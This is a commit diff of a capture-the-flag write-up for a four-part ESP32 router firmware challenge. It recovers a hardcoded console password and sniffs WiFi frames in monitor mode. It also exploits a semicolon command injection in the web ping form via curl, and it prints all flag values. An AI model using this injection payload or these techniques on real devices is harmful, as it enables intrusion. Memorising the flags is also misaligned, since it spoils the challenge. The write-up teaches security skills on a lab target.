write-up: ESP/Jnouner_Router/README.md
This commit is contained in:
parent
1b1e4c9e13
commit
f1eea0f900
@ -1,17 +1,64 @@
|
|||||||
# Jnouner Router — Solution
|
# Jnouned Router
|
||||||
|
|
||||||
**Category:** ESP | **Type:** Multi-part (4 flags)
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
|
| Category | ESP |
|
||||||
|
| Difficulty | Multi-part (Easy to Hard) |
|
||||||
|
| Points | 100 / 200 / 300 / 400 (4 flags) |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
| Flag | Name | Points | Flag value |
|
---
|
||||||
|------|-----------------|--------|-----------------------------------|
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
The CERT-CORP intercepted a strange firmware from an unknown router model built by the
|
||||||
|
shady *JNouner Company*.
|
||||||
|
|
||||||
|
Analysts found it targets an **ESP32-based prototype**, but the system is protected by a
|
||||||
|
locked **UART console**.
|
||||||
|
|
||||||
|
Flash the firmware, break into the system, and work your way through every layer of this device.
|
||||||
|
|
||||||
|
Format: **ESPILON{flag}**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff
|
||||||
|
802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse
|
||||||
|
a custom UDP protocol (JMP) to exfiltrate the final flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| `esptool.py` | Flash firmware |
|
||||||
|
| `screen` / `minicom` | UART console access |
|
||||||
|
| `airmon-ng` / `tcpdump` | 802.11 monitor mode capture |
|
||||||
|
| `curl` | Web admin POST injection |
|
||||||
|
| Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client |
|
||||||
|
| `strings` / Ghidra | Firmware static analysis |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Flags Summary
|
||||||
|
|
||||||
|
| Flag | Name | Points | Value |
|
||||||
|
|------|------|--------|-------|
|
||||||
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
|
||||||
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
|
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
|
||||||
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
|
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
|
||||||
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
|
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
|
||||||
|
|
||||||
## Setup
|
---
|
||||||
|
|
||||||
Flash the firmware on an ESP32:
|
## Solution
|
||||||
|
|
||||||
|
### Setup — Flash the firmware
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
|
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
|
||||||
@ -26,13 +73,16 @@ Open the UART console:
|
|||||||
screen /dev/ttyUSB0 115200
|
screen /dev/ttyUSB0 115200
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> 📸 `[screenshot: UART console showing jnoun-console> prompt]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Flag 1 — Console Access
|
### Flag 1 — Console Access (100 pts)
|
||||||
|
|
||||||
The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
|
The UART console presents a `jnoun-console>` prompt requiring a password.
|
||||||
the firmware as three concatenated parts. Read the ELF strings or reverse
|
|
||||||
`build_admin_password()` in `admin.c`:
|
Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find
|
||||||
|
`build_admin_password()`. The password is assembled from three parts:
|
||||||
|
|
||||||
```
|
```
|
||||||
p1 = "jnoun-"
|
p1 = "jnoun-"
|
||||||
@ -47,25 +97,30 @@ admin_login jnoun-admin-2022
|
|||||||
|
|
||||||
Flag 1 is printed on success.
|
Flag 1 is printed on success.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: successful admin_login command printing Flag 1]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Flag 2 — 802.11 TX
|
### Flag 2 — 802.11 TX (200 pts)
|
||||||
|
|
||||||
From the admin console, trigger 802.11 frame emission:
|
From the admin console, read device settings:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
|
settings
|
||||||
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
|
|
||||||
```
|
```
|
||||||
|
|
||||||
WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):
|
The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`):
|
||||||
|
|
||||||
- **SSID**: `Jnoun-3E4C`
|
- **SSID**: `Jnoun-3E4C`
|
||||||
- **PSK**: `LAIN_H4v3_Ajnoun`
|
- **PSK**: `LAIN_H4v3_Ajnoun`
|
||||||
|
|
||||||
Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
|
Trigger the 802.11 data-frame flood for 90 seconds:
|
||||||
flooder runs. Among random noise frames, one frame (emitted at a random time
|
|
||||||
between 5 and 85 seconds) contains flag 2 in its payload:
|
```text
|
||||||
|
start_emitting
|
||||||
|
```
|
||||||
|
|
||||||
|
Put your WiFi adapter into monitor mode on the same channel and capture frames:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
airmon-ng start wlan0
|
airmon-ng start wlan0
|
||||||
@ -74,48 +129,47 @@ tcpdump -i wlan0mon -w capture.pcap
|
|||||||
tshark -i wlan0mon -w capture.pcap
|
tshark -i wlan0mon -w capture.pcap
|
||||||
```
|
```
|
||||||
|
|
||||||
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
|
Among the random noise frames, one frame emitted at a random time (5–85 seconds)
|
||||||
in the 802.11 data frame payload.
|
contains Flag 2 as cleartext in its 802.11 data payload.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: Wireshark frame showing Flag 2 in the payload field]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Flag 3 — Admin Panel
|
### Flag 3 — Admin Panel (300 pts)
|
||||||
|
|
||||||
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
|
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an
|
||||||
HTTP server at `http://192.168.4.1`.
|
HTTP server at `http://192.168.4.1`.
|
||||||
|
|
||||||
Login with default credentials: `admin` / `admin`.
|
Log in: `admin` / `admin`.
|
||||||
|
|
||||||
The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
|
The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads:
|
||||||
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.
|
*"Parser séparateur ';'"* — the internal shell splits commands on `;`.
|
||||||
|
|
||||||
Inject via the `target` field:
|
Inject via the `target` field:
|
||||||
|
|
||||||
```text
|
|
||||||
POST /api/ping
|
|
||||||
target=192.168.1.1; flag
|
|
||||||
```
|
|
||||||
|
|
||||||
Flag 3 is printed to the UART console (`ESP_LOGE` output).
|
|
||||||
|
|
||||||
Or URL-encoded via curl:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
|
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
|
||||||
-d "target=x%3B+flag"
|
-d "target=x%3B+flag"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Decoded: `target=x; flag`
|
||||||
|
|
||||||
|
Flag 3 prints to the UART console via `ESP_LOGE`.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: UART console showing Flag 3 output after injection]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Flag 4 — JMP Protocol
|
### Flag 4 — JMP Protocol (400 pts)
|
||||||
|
|
||||||
From the admin panel, trigger the exfiltration session:
|
Trigger the exfiltration session via the web injection:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
target=x; start_session
|
target=x; start_session
|
||||||
```
|
```
|
||||||
|
|
||||||
The UART console shows:
|
The UART console leaks:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
JMP Server listening on UDP:6999
|
JMP Server listening on UDP:6999
|
||||||
@ -126,7 +180,7 @@ PROTOCOL INITIALIZATION LEAK:
|
|||||||
```
|
```
|
||||||
|
|
||||||
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
|
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
|
||||||
then request data blocks:
|
then request all data blocks:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import socket, struct, hashlib
|
import socket, struct, hashlib
|
||||||
@ -168,6 +222,13 @@ for block_id in range(10):
|
|||||||
print(flag.decode())
|
print(flag.decode())
|
||||||
```
|
```
|
||||||
|
|
||||||
## Author
|
> 📸 `[screenshot: Python JMP client printing the final flag after block reassembly]`
|
||||||
|
|
||||||
Eun0us
|
---
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
- Flag 1: `ESPILON{Jn0un3d_4dM1N}`
|
||||||
|
- Flag 2: `ESPILON{802_11_tx_jnned}`
|
||||||
|
- Flag 3: `ESPILON{Adm1n_4r3_jn0uned}`
|
||||||
|
- Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user